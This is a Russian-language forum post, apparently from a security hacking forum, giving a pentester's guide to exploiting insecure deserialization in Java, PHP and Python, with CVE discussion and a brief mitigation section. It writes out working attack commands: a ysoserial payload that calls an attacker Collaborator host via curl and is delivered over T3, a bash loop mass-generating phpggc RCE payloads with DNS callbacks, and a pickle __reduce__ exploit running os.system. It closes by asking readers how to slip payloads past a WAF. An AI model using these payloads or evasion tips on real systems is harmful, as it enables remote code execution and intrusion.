HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.04.2026, 16:02
Sergei webware
Участник форума
Регистрация: 04.03.2015
Сообщений: 126
С нами: 5890890

Репутация: 0
По умолчанию



Когда я впервые столкнулся с десериализацией на пентесте, это выглядело как магия: непонятный blob в cookie, утилита ysoserial, и через полминуты - reverse shell на WebLogic. Потом я потратил три вечера, чтобы понять, почему это сработало и как подобрать правильную gadget chain для нестандартного стека. Три вечера - потому что документация по gadget chain разбросана по десяткам issue на GitHub, а половина примеров устарела. Эта статья - результат того пути: от обнаружения сериализованных объектов в трафике до эксплуатации десериализации в Java, PHP и Python с разбором конкретных CVE.

OWASP включал небезопасную десериализацию веб-приложений в Top 10 как отдельную категорию (A8:2017), а в редакции 2021 года объединил её с «Software and Data Integrity Failures» (A8:2021). В черновике OWASP Top 10 2025 CWE-502 по-прежнему входит в категорию A08. Но то, что категорию «укрупнили», не значит, что проблема стала менее опасной - уязвимости десериализации стабильно приводят к Remote Code Execution на корпоративных Java-серверах, PHP-фреймворках и Python-сервисах. По MITRE ATT&CK эксплуатация десериализации - это Exploit Public-Facing Application (T1190, Initial Access), а результат - Command and Scripting Interpreter (T1059, Execution). Ниже - практическое руководство: от идентификации формата до доставки payload - полный цикл от анализа CVE до рабочего шелла разобран в гайде по разработке эксплойтов.
Как распознать сериализованные данные в трафике
Прежде чем искать десериализацию RCE уязвимость, нужно найти точку входа. Сериализованные объекты передаются в cookie, POST-параметрах, заголовках и WebSocket-фреймах. Каждый язык оставляет характерный «отпечаток» - и если научиться его читать, полдела сделано.
Сигнатуры Java, PHP и Python в HTTP-запросах
Java. Сериализованные Java-объекты всегда начинаются с байтов
Код:
ac ed 00 05
(hex) или
Код:
rO0AB
в Base64. Любой класс, реализующий
Код:
java.io.Serializable
, может быть сериализован и передан по сети (это из документации PortSwigger, но на практике - именно так). Ищите заголовок
Код:
Content-Type: application/x-java-serialized-object
и параметры с Base64, начинающимся на
Код:
rO0AB
. Burp Suite Professional автоматически помечает такие объекты, а расширение Java Deserialization Scanner позволяет тестировать endpoint прямо из Burp.

PHP. Формат сериализации PHP текстовый - читается глазами. Строка начинается с маркеров типов:
Код:
O:
(объект),
Код:
a:
(массив),
Код:
s:
(строка),
Код:
i:
(integer),
Код:
b:
(boolean). Реальный пример из аудита, описанного исследователями Vaadata: параметр
Код:
datas
содержал Base64-закодированную строку
Код:
a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;}
- ассоциативный массив с двумя ключами. Видите такой формат в запросе? На серверной стороне почти наверняка вызывается
Код:
unserialize()
, и перед вами потенциальная объектная инъекция.

Python. Модуль
Код:
pickle
генерирует бинарный поток с характерными опкодами. Протокол версии 2+ начинается с байта
Код:
\x80
и номера версии (
Код:
\x02

Код:
\x05
). В текстовом представлении видны маркеры
Код:
cbuiltins
,
Код:
cbuiltin
,
Код:
cos
- ссылки на Python-модули, которые вызываются при десериализации. Отдельный вектор - PyYAML с конструкцией
Код:
!!python/object/apply:
, позволяющей инстанцировать произвольные объекты при
Код:
yaml.load()
без параметра
Код:
Loader=SafeLoader
.

Мой рабочий процесс простой: перехват трафика в Burp, Base64-декод параметров, проверка первых байтов.
Код:
ac ed
- Java,
Код:
O:
или
Код:
a:
- PHP,
Код:
\x80\x0X
- pickle. Определил формат - знаю, какой инструмент запускать: ysoserial, phpggc или ручной Python-скрипт.



Эксплуатация десериализации Java через ysoserial
Java - исторически главная площадка для десериализационных атак. Корпоративные стеки на WebLogic, JBoss, Spring Framework и Apache Struts годами содержали gadget chain, превращающие вызов
Код:
ObjectInputStream.readObject()
в точку входа для удалённого выполнения кода. Инструмент ysoserial, созданный Крисом Фрохоффом и представленный на AppSecCali 2015 в докладе «Marshalling Pickles», стал стандартом де-факто. Я лично не встречал ни одного Java-пентеста, где бы ysoserial не пригодился - хотя бы для проверки.

Требования к окружению: Java 1.7+ для запуска ysoserial, JAR-файл из GitHub releases (
Код:
frohoff/ysoserial
), сетевой доступ до целевого endpoint. Для локальной отладки gadget chain - Docker-образ уязвимого приложения (например, Vulhub-контейнер WebLogic). Для out-of-band детекции - Burp Collaborator или собственный DNS-сервер.

Принцип работы: указываете тип gadget chain и команду ОС, ysoserial генерирует сериализованный Java-объект на stdout. Когда приложение с нужными библиотеками в classpath десериализует данные, цепочка срабатывает и выполняет команду. Часто упускаемый момент (я сам сначала на него не обратил внимания): уязвимость не в библиотеке, а в приложении, которое передаёт недоверенные данные в
Код:
readObject()
. Apache Commons Collections в classpath - само по себе не дыра. Дыра - когда пользовательский ввод попадает в
Код:
readObject()
.



Подбор ysoserial gadget chain и CVE десериализации Java
Ysoserial содержит более 30 gadget chain: CommonsCollections1–7, Spring1–2, Groovy1, Hibernate1–2, JSON1, Jdk7u21, ROME и другие. Не все ведут к RCE напрямую - некоторые пишут файлы или делают JNDI-lookup. Каждый требует конкретных библиотек конкретных версий.
Код:
CommonsCollections1
работает с
Код:
commons-collections:3.1
, а
Код:
CommonsCollections2
- с
Код:
commons-collections4:4.0
. Полный список зависимостей - в README репозитория.

Если classpath цели неизвестен (black-box), работает перебор: генерация payload для каждого chain с OOB-callback (DNS-запрос на Burp Collaborator) и анализ, какой вызвал обращение. Ещё есть GadgetProbe (расширение Burp Suite из BApp Store) - он определяет загруженные на сервере классы через DNS-взаимодействие при десериализации. Сужает перебор с десятков chain до единиц - экономит кучу времени.

Bash:


Код:
# Генерация payload для WebLogic (CommonsCollections1)
java -jar ysoserial.jar CommonsCollections1
\
'curl http://attacker.burpcollaborator.net/rce'
>
payload.bin
# Проверка сигнатуры - должны увидеть ac ed 00 05
xxd payload.bin
|
head
-1
# 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c
# Доставка: через T3, HTTP-параметр или RMI
python3 t3_send.py --host target:7001 --payload payload.bin
CVE-2015-4852: Oracle WebLogic Server - каноническая уязвимость эксплуатации десериализации Java. По NVD, компонент WLS Security в WebLogic Server версий 10.3.6.0, 12.1.2.0, 12.1.3.0 и 12.2.1.0 позволял удалённым атакующим выполнять произвольные команды через сериализованный Java-объект по протоколу T3 на TCP-порт 7001 (CVSS 9.8, CRITICAL; CWE-502). Вектор
Код:
AV:N/AC:L/PR:N/UI:N
- ни привилегий, ни взаимодействия с пользователем не нужно. Gadget chain из
Код:
com.bea.core.apache.commons.collections.jar
, входящей в WebLogic, давал выполнение произвольной команды ОС. Эту дыру эксплуатировали в дикой природе ещё годы после раскрытия - патчили её далеко не все.



CVE-2017-9805: Apache Struts REST без фильтрации типов
REST Plugin в Apache Struts 2.1.1–2.3.x (до 2.3.34) и 2.5.x (до 2.5.13) использовал
Код:
XStreamHandler
с экземпляром XStream для десериализации XML-payload без какой-либо фильтрации типов (CVSS 8.1, HIGH; CWE-502).
Код:
AC:H
в векторе - высокая сложность: нужно было собрать XML с правильной gadget chain для XStream. По данным NVD, уязвимость затрагивала и продукты Cisco: Digital Media Manager и Hosted Collaboration Solution. Атакующий слал crafted XML в REST endpoint, XStream восстанавливал объект, цепочка вызовов приводила к remote code execution.

Оба CVE - классика T1190 (Exploit Public-Facing Application): атакующий обращается к торчащему в интернет endpoint, отправляет сериализованный payload, получает выполнение кода, а дальше - Web Shell (T1505.003, Persistence) или Reflective Code Loading (T1620, Defense Evasion) для загрузки вредоносных модулей в память.
PHP десериализация: phpggc и black-box перебор цепочек
PHP-приложения на Laravel, Symfony, Magento и Drupal регулярно содержат гаджеты для эксплуатации. Если в Java-мире всё крутится вокруг бинарного
Код:
ObjectInputStream
, то в PHP атака начинается с вызова
Код:
unserialize()
на пользовательских данных - классическая PHP object injection.

Инструмент phpggc (PHP Generic Gadget Chains) - PHP-аналог ysoserial. Содержит готовые gadget chain для десятков фреймворков и библиотек.
Код:
phpggc -l
выводит полный список цепочек,
Код:
phpggc -l | grep RCE
фильтрует только те, что ведут к удалённому выполнению кода.
Brute-force цепочек при black-box phpggc эксплуатации
В идеале у пентестера есть доступ к исходному коду, чтобы определить доступные классы. На bug bounty или при black-box аудите кода нет. Исследователи Vaadata описали методику, которую я неоднократно применял: генерация payload для всех RCE-совместимых chain из phpggc и перебор через Burp Intruder.

Bash:


Код:
#!/bin/bash
# Массовая генерация RCE-payload для brute-force
cmd
=
"nslookup target.your-collaborator.net"
phpggc -l
|
grep
RCE
|
cut
-d
' '
-f1
|
while
read
gadget
;
do
phpggc -a -b -u -f
"$gadget"
system
"$cmd"
2>
/dev/null
done
>
payloads.txt
# Загрузить payloads.txt в Burp Intruder, позиция = параметр datas
# Ответ, отличный от остальных + DNS-callback = рабочая chain
Флаги phpggc:
Код:
-a
- ASCII-safe encoding (экранирование нулевых байтов для обхода проблем парсинга PHP),
Код:
-b
- Base64,
Код:
-u
- URL-encode,
Код:
-f
- fast-destruct. Последний флаг критичен: он генерирует payload, в котором
Код:
destruct()

срабатывает немедленно после
Код:
unserialize()
, без полного обхода графа свойств. Многие цепочки работают именно через
Код:

Код:
destruct()
, а не через
Код:
__wakeup()
. Без
Код:
-f
payload может не сработать, хотя библиотека на сервере есть - я на это натыкался не раз.

В кейсе Vaadata из нескольких сотен сгенерированных payload сработал
Код:
Monolog/RCE8
, подтвердив наличие библиотеки Monolog на целевом сервере. После идентификации рабочей цепочки следующий payload уже содержал
Код:
system('whoami /all')
вместо DNS-запроса, и ответ сервера вернул информацию о пользователе IIS - полноценная десериализация PHP уязвимость с подтверждённым RCE.
Магические методы и объектная инъекция в PHP
Эксплуатация insecure deserialization в PHP базируется на магических методах. При вызове
Код:
unserialize()
PHP автоматически выполняет
Код:
wakeup()

на восстановленном объекте. При уничтожении -
Код:

Код:
destruct()
. При приведении к строке -
Код:
__toString()
. Эти методы - точки входа в gadget chain.

Цепочка строится по принципу POP (Property-Oriented Programming): объект A в
Код:
__destruct()
обращается к свойству, которое на самом деле - объект B. Объект B при вызванном методе дёргает объект C - и так до момента, когда финальный гаджет выполняет
Код:
system()
,
Код:
exec()
,
Код:
file_put_contents()
или
Код:
eval()
. По сути - матрёшка из объектов, где каждый слой вызывает следующий.

Если phpggc не содержит chain для целевого фреймворка, цепочку строят руками. Нужен доступ к коду (например, после эксплуатации отдельной уязвимости чтения файлов). Поиск входных точек:
Код:
grep -rn 'destruct\|wakeup\|__toString' vendor/
, затем трассировка от магического метода до опасного sink. Phpggc сам построен по этому принципу - каждая цепочка в нём обнаружена в исходном коде конкретного фреймворка.
Десериализация Python pickle exploit: RCE без gadget chain
Python-десериализация через
Код:
pickle
- отдельная история. Здесь gadget chain не нужен вообще. Модуль pickle позволяет определить метод
Код:
reduce()
на объекте - он возвращает вызываемую функцию и её аргументы. При
Код:
pickle.loads()
эта функция вызывается автоматически. Никаких дополнительных условий, никакого подбора библиотек.

Python:


Код:
import
pickle
,
os
class
Exploit
:
def
__reduce__
(
self
)
:
return
(
os
.
system
,
(
'id'
,
)
)
payload
=
pickle
.
dumps
(
Exploit
(
)
)
# pickle сериализует os.system как posix.system (Linux) или nt.system (Windows)
# При pickle.loads(payload) на сервере выполняется os.system('id')
Это делает десериализацию Python pickle exploit одной из самых тривиальных для эксплуатации уязвимостей. В отличие от Java, где нужно подбирать chain под classpath, pickle-атака работает на любом Python-приложении, вызывающем
Код:
pickle.loads()
на недоверенных данных. По MITRE ATT&CK - техника Python (T1059.006, Execution).

Где искать pickle:
  • ML/AI-сервисы: модели передаются в формате
    Код:
    .pkl
    . Загрузка вредоносного pickle-файла через API - классический вектор. MLflow (CVE-2024-37052 и связанные, CVSS 8.8) подвержен атакам через загрузку вредоносных моделей.
  • Очереди задач: Celery при использовании pickle-сериализатора принимает произвольные объекты из брокера сообщений.
  • Кеширование: Redis и Memcached, хранящие pickle-объекты, становятся вектором при инъекции в кеш.
  • Веб-фреймворки: Django при использовании
    Код:
    PickleSerializer
    для сессий десериализует данные из cookie.
У меня pickle-десериализация чаще всего встречалась в ML-пайплайнах. Разработчики привыкли кидать
Код:
.pkl
между сервисами и даже не задумываются, что это фактически
Код:
eval()
в красивой обёртке.
Детект и митигация
Для Java: замена
Код:
ObjectInputStream
на фильтрующие обёртки (JEP 290, доступен с Java 9), библиотеки NotSoSerial или SerialKiller, удаление неиспользуемых gadget-библиотек из classpath. Для PHP: замена
Код:
unserialize()
на
Код:
json_decode()
, а если невозможно - параметр
Код:
allowed_classes
в
Код:
unserialize()
(PHP 7.0+). Для Python: полный отказ от
Код:
pickle.loads()
на недоверенных данных, переход на
Код:
json
,
Код:
msgpack
или
Код:
safetensors
для ML-моделей. На уровне инфраструктуры: WAF-правила для сигнатур
Код:
ac ed 00 05
и
Код:
rO0AB
, мониторинг DNS-запросов к внешним доменам (OOB-индикатор), сегментация сети для ограничения последствий RCE.

Попробуйте прогнать свои сервисы через описанные сигнатуры - перехватите трафик в Burp, поищите
Код:
rO0AB
в параметрах и cookie. Если нашли - у вас та же проблема, что была у WebLogic в 2015-м. Только сейчас 2025-й, и оправданий уже нет.
Вопрос к читателям
Кто работал с black-box phpggc-перебором на Laravel или Symfony - как вы обходите ситуацию, когда флаг
Код:
-f
(fast-destruct) не помогает и
Код:
Monolog/RCE8
молчит, хотя Monolog точно в стеке? Конкретно: какую комбинацию флагов вы используете -
Код:
-a -b -u -f
или убираете
Код:
-f
и гоняете через
Код:
__wakeup()
-вектор отдельным прогоном? И второй момент: при доставке payload через Burp Intruder на параметр типа
Код:
datas
- какой Payload Processing-шаг ставите первым, Base64 или URL-encode, чтобы нулевые байты не резались WAF? Поделитесь вашим конкретным порядком флагов и настройкой Intruder - особенно если сталкивались с Nginx + ModSecurity перед PHP-бэкендом.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.